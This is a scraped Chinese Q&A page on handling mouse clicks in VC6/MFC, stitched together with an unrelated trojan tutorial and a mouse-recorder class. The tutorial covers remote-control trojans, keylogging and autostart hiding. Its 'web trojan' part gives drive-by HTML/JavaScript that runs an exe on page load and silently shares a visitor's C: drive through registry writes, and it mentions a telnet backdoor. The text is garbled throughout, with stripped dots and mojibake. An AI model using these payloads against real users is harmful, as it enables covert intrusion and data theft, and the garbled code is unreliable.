
有个笨方法:
可以用个BOOL变量在LBUTTONDOWN函数里看鼠标是否按下
按下为TRUE 抬起为FALSE
在按钮函数中加个if(m_bool==TRUE)
{
//你的程序
}
就好了
方法有多个,提供你两个思路:
在OnLButtonDown里面,判断鼠标坐标范围,如果在图标当前位置的Rect里面,则跳过其它处理
将OnLButtonDown的代码放在OnLButtonUp里面,并判断按下和抬起左键的坐标是否一致,不一致则不执行
问题或说没有你想要的答案,有些问题是没有正确答案或者很难回答的,希望珍惜大家的帮助!谢谢 (^_^)
这个问题需要详细回答 所以不要嫌多,学东西哪有容易的。
木马攻击原理
特洛伊木马是一个程序,它驻留在目标计算机里,可以随计算机自动启动并在某一端口进行侦听,在对接收的数据识别后,对目标计算机执行特定的 *** 作。木马,其实质只是一个通过端口进行通信的网络客户/服务程序。
1、基本概念:网络客户/服务模式的原理是一台主机提供服务(服务器),另一台主机接受服务(客户机)。作为服务器的主机一般会打开一个默认的端口并进行监听(Listen), 如果有客户机向服务器的这一端口提出连接请求(Connect Request), 服务器上的相应程序就会自动运行,来应答客户机的请求,这个程序称为守护进程(UNIX的术语,不过已经被移植到了MS系统上)。对于特洛伊木马,被控制端就成为一台服务器,控制端则是一台客户机,G_serverexe是守护进程, G_client是客户端应用程序。
2、程序实现:
可以使用VB或VC的Winsock控件来编写网络客户/服务程序, 实现方法如下:
服务器端:
G_ServerLocalPort=7626(冰河的默认端口,可以改为别的值)
G_ServerListen(等待连接)
客户端:
G_ClientRemoteHost=ServerIP(设远端地址为服务器地址)
G_ClientRemotePort=7626(设远程端口为冰河的默认端口)
(在这里可以分配一个本地端口给G_Client, 如果不分配, 计算机将会自动分配一个)
G_ClientConnect(调用Winsock控件的连接方法)
一旦服务端接到客户端的连接请求ConnectionRequest,就接受连接
Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)
G_ServerAccept requestID
End Sub
客户端用G_ClientSendData发送命令,而服务器在G_Server_DateArrive事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)
如果客户断开连接,则关闭连接并重新监听端口
Private Sub G_Server_Close()
G_ServerClose (关闭连接)
G_ServerListen(再次监听)
End Sub
客户端上传一个命令,服务端解释并执行命令。
3、实现木马的控制功能
由于Win98开放了所有的权限给用户,因此,以用户权限运行的木马程序几乎可以控制一切,下面仅对木马的主要功能进行简单的概述, 主要是使用Windows API函数。
(1)远程监控(控制对方鼠标、键盘,并监视对方屏幕)
keybd_event模拟一个键盘动作。
mouse_event模拟一次鼠标事件
mouse_event(dwFlags,dx,dy,cButtons,dwExtraInfo)dwFlags:
MOUSEEVENTF_ABSOLUTE 指定鼠标坐标系统中的一个绝对位置
MOUSEEVENTF_MOVE 移动鼠标
MOUSEEVENTF_LEFTDOWN 模拟鼠标左键按下
MOUSEEVENTF_LEFTUP 模拟鼠标左键抬起
MOUSEEVENTF_RIGHTDOWN 模拟鼠标右键按下
MOUSEEVENTF_RIGHTUP 模拟鼠标右键按下
dx,dy:MOUSEEVENTF_ABSOLUTE中的鼠标坐标
(2)记录各种口令信息
keylog begin:将击键记录在一个文本文件里,同时还记录执行输入的窗口名
(3)获取系统信息
a取得计算机名 GetComputerName
b更改计算机名 SetComputerName
c当前用户 GetUserName
d系统路径
Set FileSystem0bject = CreateObject("ScriptingFileSystemObject")(建立文件系统对象)
Set SystemDir = FileSystem0bjectgetspecialfolder(1)(取系统目录)
Set SystemDir = FileSystem0bjectgetspecialfolder(0)(取Windows安装目录)
e取得系统版本 GetVersionEx
f当前显示分辨率
Width = screenWidth\ screenTwipsPerPixelX
Height= screenHeight \ screenTwipsPerPixelY
(4)限制系统功能
a远程关机或重启计算机,使用WinAPI中的如下函数可以实现:
ExitWindowsEx(UINT uFlags,DWORD dwReserved)
当uFlags=EWX_LOGOFF 中止进程,然后注销
=EWX_SHUTDOWN 关掉系统但不关电源
=EWX_REBOOT 重新引导系统
=EWX_FORCE强迫中止没有响应的进程
=EWX_POWERDOWN 关掉系统及关闭电源
b锁定鼠标,ClipCursor(lpRect As RECT)可以将指针限制到指定区域,或者用ShowCursor(FALSE)把鼠标隐藏起来也可以,RECT是定义的一个矩形。
c让对方掉线 RasHangUp
d终止进程 ExitProcess
e关闭窗口 利用FindWindow函数找到窗口并利用SendMessage函数关闭窗口
(5)远程文件 *** 作
删除文件:File delete
拷贝文件:File copy
共享文件:Export list(列出当前共享的驱动器、目录、权限及共享密码)
(6)注册表 *** 作
在VB中只要Set RegEdit=CreateObject("WScriptShell")就可以使用以下的注册表功能:
删除键值:RegEditRegDelete RegKey
增加键值:RegEditWrite RegKey,RegValue
获取键值:RegEditRegRead (Value)
三、特洛伊木马隐身方法
木马程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以伪装自己。当然它也会悄无声息地启动,木马会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、winini、systemini、注册表等等都是“木马”藏身的好地方。
在winini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOL Trojan木马”,它把自身伪装成commandexe文件,如果不注意可能不会发现它不是真正的系统启动文件。
在systemini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorerexe”,如果不是“explorerexe”,而是“shell= explorerexe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。
在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v10木马”,它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的 Explorer 键值改为Explorer=“C:\WINDOWS\expiorerexe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能,最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。
目前,除了上面介绍的隐身技术外,更新、更隐蔽的方法已经出现,那就是-驱动程序及动态链接库技术。驱动程序及动态链接库技术和一般的木马不同,它基本上摆脱了原有的木马模式-监听端口,而采用替代系统功能的方法(改写驱动程序或动态链接库)。这样做的结果是:系统中没有增加新的文件(所以不能用扫描的方法查杀)、不需要打开新的端口(所以不能用端口监视的方法查杀)、没有新的进程(所以使用进程查看的方法发现不了它,也不能用kill进程的方法终止它的运行)。在正常运行时木马几乎没有任何的症状,而一旦木马的控制端向被控端发出特定的信息后,隐藏的程序就立即开始运作。
四、 特洛伊木马防御原理
知道了木马的攻击原理和隐身方法,我们就可以采取措施进行防御了。
1端口扫描
端口扫描是检查远程机器有无木马的最好办法, 端口扫描的原理非常简单, 扫描程序尝试连接某个端口, 如果成功, 则说明端口开放,如果失败或超过某个特定的时间(超时), 则说明端口关闭。但对于驱动程序/动态链接木马, 扫描端口是不起作用的。
2查看连接接
查看连和端口扫描的原理基本相同,不过是在本地机上通过netstat -a(或某个第三方程序)查看所有的TCP/UDP连接,查看连接要比端口扫描快,但同样是无法查出驱动程序/动态链接木马,而且仅仅能在本地使用。
3检查注册表
上面在讨论木马的启动方式时已经提到,木马可以通过注册表启动(好像现在大部分的木马都是通过注册表启动的,至少也把注册表作为一个自我保护的方式),那么,我们同样可以通过检查注册表来发现冰河在注册表里留下的痕迹。
4查找文件
查找木马特定的文件也是一个常用的方法,木马的一个特征文件是kernl32exe,另一个是sysexlprexe,只要删除了这两个文件,木马就已经不起作用了。如果你只是删除了sysexlprexe而没有做扫尾工作的话,可能会遇到一些麻烦-就是你的文本文件打不开了, sysexplrexe是和文本文件关联的,你还必须把文本文件跟notepad关联上。
另外,对于驱动程序/动态链接库木马,有一种方法可以试试,使用Windows的"系统文件检查器",通过"开始菜单"-"程序"-"附件"-"系统工具"-"系统信息"-"工具"可以运行"系统文件检查器", 用“系统文件检查器”可检测 *** 作系统文件的完整性,如果这些文件损坏,检查器可以将其还原,检查器还可以从安装盘中解压缩已压缩的文件(如驱动程序)。如果你的驱动程序或动态链接库在你没有升级它们的情况下被改动了,就有可能是木马(或者损坏了),提取改动过的文件可以保证你的系统安全和稳定。
制作网页木马原理
大家对木马都不陌生了,它可能要算是计算机病毒史上最厉害的了,相信会使木马的人千千万万,但是有很多人苦于怎么把木马发给对方,现在随着计算机的普及,在网络上我相信很少有人会再轻易的接收对方的文件了,所以网页木马诞生了。
1它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个testhtml的文件在桌面,内容如下:
<script language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"testexe#version=1,1,1,1\">"
run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后</H1></HTML>";
documentopen();
documentclear();
documentwriteln(run_exe);
documentclose();
</script>
再在桌面下随便找个exe的文件,名字一定要改为tsetexe,好了,这时候双击我们刚才生成的html文件,当看到“网页加载中,请稍后”的时候,我们的那个同路径下的exe文件也被无条件执行了,这种页面的优点就是编译修改简单,但是!当你申请下了一个个人主页空间的时候,把这两个文件上传上去的时候,当你试图通过浏览器浏览你的杰作的时候,ie的安全警告跳了出来,我想没有几个人愿意乖乖的冒着风险去点“是”,好了,尽管这个网页木马在本地是多么的完美,但是放到了网上就通不过ie的安全策略了,这个小马失败了。
2是通过ie自身的漏洞写入注册表,相信很多人经常在浏览一些主页的时候,注册表被改的乱七八糟、ie标题被改、首页被改、注册表编辑器被禁用等等,这些都是自动修改了你的注册表的网页的杰作,所以我门也可以做个页面让浏览者的硬盘完全共享,也是做个html的文件,内容如下:
script language=javascript>
documentwrite("<APPLET HEIGHT=0 WIDTH=0 code=commsactiveXActiveXComponent></APPLET>");
function f(){
a1=documentapplets[0];
a1setCLSID("");
a1createInstance();
Shl = a1GetObject();
ShlRegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD");
ShlRegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
ShlRegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>
当对方的浏览过这个页面的时候,他的c:就被共享了,共享后的进入方法嘛呵呵不用说了吧,但是他虽然被共巷了,但是你还不知道谁正在看你的这个页面,他的ip又是多少你都不知道,没有关系,有个很简单的方法,去163申请一个域名的转换,如:连接目标地址里褪q蚕砹�恿恕/a>
这种网页木马的特点是比较安全,不宜被对方发现,但是使用麻烦需要牵扯到很多的东西。
3也是现在最好用的一种了吧,个人认为。它是将一个小巧的exe文件作成一个eml的文件,再用ie的漏洞让一个html的页面执行这个eml的文件,你的那个小巧的exe文件就被执行了,由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出,下面给出一个地址实际上就是一个转憧梢酝ü齮elnet xxxx 3389来完全控制对方(这个5k的小后门是winshell50黑白网络有下,同时这个winshell50还有一个很出色的功能,就是能下载一个你事先设置好的指定路径下的一个文件,并执行他,我放置的是网络深偷,如果你的杀毒软件够厉害的话,神偷是可以被查出来的,这里只是实验,实际中可以指定很多查不到的小马,这里不阐述),有兴趣的朋友可以来试试。
这种网页木马的特点是,对方挨种率较高,除了制作麻烦一点外,没有什么缺点啦
好了所有的漏洞都是建立在系统漏洞的前提下,多升级多打补丁没有坏处
另外,团IDC网上有许多产品团购,便宜有口碑
需求描述比较含混。
如果是MFC对话框程序,那么很简单。
建立一个对话框成员变量 int mNum; 构造函数中初始化:mNum=0;
重载鼠标左键双击消息(classwizard),在消息响应函数中:
void CDialog1::OnLButtonDblClk(UINT nFlags, CPoint point){
// TODO: Add your message handler code here and/or call default
mNum++;//累计计数
CString str;
strFormat("%d",mNum);
AfxMessageBox(str); //d出显示
CDialog::OnLButtonDblClk(nFlags, point);
}
// 这是一个鼠标自动点击程序
// 首先程序需要学习你的鼠标点击方式和位置,程序中包含了一个钩子程序来监视鼠标的 *** 作用于学习,之后,鼠标就可以按照你之前的 *** 作来自动完成点击了
//////////////////////////////////////////////////////////////////////
#include "stdafxh"
#include "ShuBiaoh"
#include "CursorDownh"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#define WM_MY_MESSAGE (WM_USER+100)
CCursorDown::CCursorDown()
{
m_Size=0;
m_Wnd=NULL;
m_CursorData=NULL;
m_NextCursorData=NULL;
m_NewCursorData=NULL;
m_NextCursorDown=NULL;
m_CursorStopTime=0;
m_AddStopTime=0;
m_NewCursorBool=0;
m_RunCursorBool=0;
m_CursorUpdateBool=0;
m_hHookDll=0;
m_RunCount=1;
m_NewRunCount=0;
}
CCursorDown::~CCursorDown()
{
// 撤销系统热键
if(m_Wnd!=NULL)
{
UnregisterHotKey(m_Wnd->m_hWnd, 1001);
UnregisterHotKey(m_Wnd->m_hWnd, 1002);
}
}
// 添加一个 *** 作
CCursorDown CCursorDown::AddCursorDown()
{
m_NextCursorDown=new CCursorDown;
m_NextCursorDown->m_Wnd=m_Wnd;
return m_NextCursorDown;
}
// 保存资料
BOOL CCursorDown::SaveFile(CString FilePath)
{
CFile File;
if(FileOpen(FilePath,CFile::modeCreate|CFile::modeWrite)==FALSE)
return 0;
CArchive ar(&File,CArchive::store);
Serialize(ar);
arClose();
FileClose();
m_FilePath=FilePath;
return 1;
}
// 打开资料
BOOL CCursorDown::OpenFile(CString FilePath)
{
CFile File;
if(FileOpen(FilePath,CFile::modeRead)==FALSE)
return 0;
if(m_CursorData!=NULL)
m_CursorData->Delete();
m_CursorData=NULL;
m_NewCursorData=NULL;
CArchive ar(&File,CArchive::load);
Serialize(ar);
arClose();
FileClose();
m_FilePath=FilePath;
return 1;
}
void CCursorDown::Serialize(CArchive& ar)
{
if (arIsStoring())
{
ar<<m_Size;
ar<<m_AddStopTime;
if(m_CursorData!=NULL)
m_CursorData->Serialize(ar);
}
else
{
ar>>m_Size;
ar>>m_AddStopTime;
if(m_Size>0)
{
m_CursorData=new CCursorData;
m_CursorData->Serialize(ar);
}
}
}
// 系统热键处理函数
LRESULT CCursorDown::OnHotKey(WPARAM wParam,LPARAM lParam)
{
if(wParam==1001||wParam==1002)
{
if(m_NewCursorBool)
{
// 撤销系统热键
UnregisterHotKey(m_Wnd->m_hWnd, 1001);
UnregisterHotKey(m_Wnd->m_hWnd, 1002);
// 钩子退出
StopHook(0);
m_Wnd->KillTimer(1);
// 使得被激活窗口出现在前景
m_Wnd->SetForegroundWindow();
if(m_NewCursorData)
{
// 保存离第一个鼠标单击等待时间
m_NewCursorData->m_Time=m_CursorStopTime;
}
m_NewCursorBool=0;
}
if(m_RunCursorBool)
{
Stop();
}
}
return 0;
}
// 钩子程序发送的鼠标按下消息处理函数
int CCursorDown::HookButtonDown(WPARAM wParam,LPARAM lParam)
{
if(m_NewCursorBool==0)
return m_Size;
switch(wParam)
{
case WM_LBUTTONDOWN:
case WM_RBUTTONDOWN:
if(m_CursorStopTime>0)
{
CPoint CurPoint;
// 取鼠标坐标
GetCursorPos(&CurPoint);
if(m_CursorData==NULL)
{
m_CursorData=new CCursorData;
m_NewCursorData=m_CursorData;
m_NewCursorData->m_CursorDownPoint=CurPoint;
m_NewCursorData->m_Time=0;
m_NewCursorData->m_CursorMessage=wParam;
}
else
m_NewCursorData=m_NewCursorData->AddCursorDownData(m_CursorStopTime120,CurPoint,wParam);
m_CursorStopTime=0;
m_Size++;
}
break;
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
if(m_NewCursorData==NULL)
{
CPoint CurPoint;
// 取鼠标坐标取鼠标坐标WM_LBUTTONDBLCLK
GetCursorPos(&CurPoint);
m_CursorData=new CCursorData;
m_NewCursorData=m_CursorData;
m_NewCursorData->m_CursorDownPoint=CurPoint;
m_NewCursorData->m_Time=0;
m_NewCursorData->m_CursorMessage=wParam;
m_CursorStopTime=1;
m_Size++;
}
else
{
m_NewCursorData->m_CursorMessage=wParam;
m_CursorStopTime=1;
}
break;
case WM_MOUSEWHEEL:
if(m_NewCursorData==NULL)
{
CPoint CurPoint;
// 取鼠标坐标
GetCursorPos(&CurPoint);
m_CursorData=new CCursorData;
m_NewCursorData=m_CursorData;
m_NewCursorData->m_CursorDownPoint=CurPoint;
m_NewCursorData->m_Time=0;
m_NewCursorData->m_CursorMessage=wParam;
m_CursorStopTime=1;
m_Size++;
}
else
{
m_NewCursorData->m_CursorMessage=wParam;
m_CursorStopTime=1;
}
break;
default: ;
}
return m_Size;
}
// 装载钩子DLL
HINSTANCE CCursorDown::LoadHookDll()
{
if(m_hHookDll==0)
{
// 读取DLL
typedef BOOL (CALLBACK inshook)(HWND hWnd,UINT Message);
inshook instkbhook;
if(m_hHookDll=LoadLibrary((LPCTSTR)"hodlldll"))
{
instkbhook=(inshook)GetProcAddress(m_hHookDll, "installhook");
instkbhook(m_Wnd->m_hWnd,WM_MY_MESSAGE);
}
}
return m_hHookDll;
}
// 停止或打开钩子
void CCursorDown::StopHook(BOOL Bool)
{
typedef BOOL (CALLBACK stophook)(BOOL);
stophook pstophook;
if(m_hHookDll)
{
pstophook=(stophook)GetProcAddress(m_hHookDll, "stophook");
pstophook(Bool);
}
}
// 定时器则继续
int CCursorDown::OnTimer(UINT nIDEvent)
{
m_CursorUpdateBool=0;
if(nIDEvent==1)
{
m_CursorStopTime+=1;
}
else if(nIDEvent==2)
{
if(m_RunCursorBool)
{
m_Wnd->KillTimer(2);
if(m_NextCursorData!=NULL)
{
m_NextCursorData=m_NextCursorData->CursorDown(m_CursorUpdateBool);
// 一轮结束
if(m_NextCursorData==NULL)
{
// 没超过指定的循环数量,则继续一轮结束3
if(m_NewRunCount<m_RunCount)
{
m_NextCursorData=m_CursorData;
m_Wnd->SetTimer(2,m_NextCursorData->m_Time+m_AddStopTime,NULL);
}
else
m_Wnd->SetTimer(3,m_RunStopTime,NULL);
m_NewRunCount++;
}
else
m_Wnd->SetTimer(2,m_NextCursorData->m_Time+m_AddStopTime,NULL);
}
}
}
else if(nIDEvent==3)
{
m_Wnd->KillTimer(3);
// 新一轮开始
m_Wnd->SetTimer(2,100,NULL);
}
return m_CursorStopTime;
}
// 开始学习
void CCursorDown::XueXi()
{
// 删除记录
if(m_CursorData!=NULL)
{
m_CursorData->Delete();
m_CursorData=NULL;
m_NewCursorData=NULL;
}
// 学习模式状态
m_NewCursorBool=1;
// 链表长度
m_Size=0;
// 清除鼠标计数器
m_CursorStopTime=1;
// 注册Q为系统热键,用于停止运行
RegisterHotKey(m_Wnd->m_hWnd,1001,MOD_CONTROL,'q');
RegisterHotKey(m_Wnd->m_hWnd,1002,MOD_CONTROL,'Q');
// 鼠标等待时间计数器
m_Wnd->SetTimer(1,100,NULL);
// 装载钩子DLL
StopHook(1);
}
// 在指定位置点击鼠标
void CCursorDown::CursorDown(CPoint Point,BOOL CursorBool)
{
CPoint OldPoint;
if(!CursorBool)
GetCursorPos(&OldPoint);
SetCursorPos(Pointx,Pointy);
mouse_event(MOUSEEVENTF_LEFTDOWN,Pointx,Pointy,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,Pointx,Pointy,0,0);
// 鼠标回到原来的位置
if(!CursorBool)
SetCursorPos(OldPointx,OldPointy);
}
// 开始运行
BOOL CCursorDown::Run(BOOL CursorBool)
{
if(m_CursorData==NULL)
return 0;
m_CursorUpdateBool=CursorBool;
if(m_NextCursorData==NULL)
{
m_NewRunCount=0;
m_NextCursorData=m_CursorData;
}
if(m_NextCursorData!=NULL)
{
// 注册Q为系统热键,用于停止学习
RegisterHotKey(m_Wnd->m_hWnd,1001,MOD_CONTROL,'q');
RegisterHotKey(m_Wnd->m_hWnd,1002,MOD_CONTROL,'Q');
m_RunCursorBool=1;
// 鼠标等待时间计数器用于停止学习
m_Wnd->SetTimer(2,100,NULL);
}
return 1;
}
// 停止开始运行NULL
void CCursorDown::Stop()
{
if(m_RunCursorBool)
{
m_Wnd->KillTimer(2);
m_RunCursorBool=0;
// 撤销系统热键停止
UnregisterHotKey(m_Wnd->m_hWnd, 1001);
UnregisterHotKey(m_Wnd->m_hWnd, 1002);
}
}
可以相应WM_MOUSEMOVE撒。但是有的时候被屏蔽啦。相应不了。我曾经碰到过。但是那好像是二级子对话框。但是一级的话应该会响应的。要是不行的话。就用::GetCursorPos()加上一个 定时器吧;这肯定没有问题;
以上就是关于vc6.0中怎么响应按钮的按下事件全部的内容,包括:vc6.0中怎么响应按钮的按下事件、VC++ 鼠标左键按下,拖动我自己的图标,如何不响应我做的左键单击响应、怎么用vc++写出个程序,程序功能是运行程序后能模拟鼠标双击等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)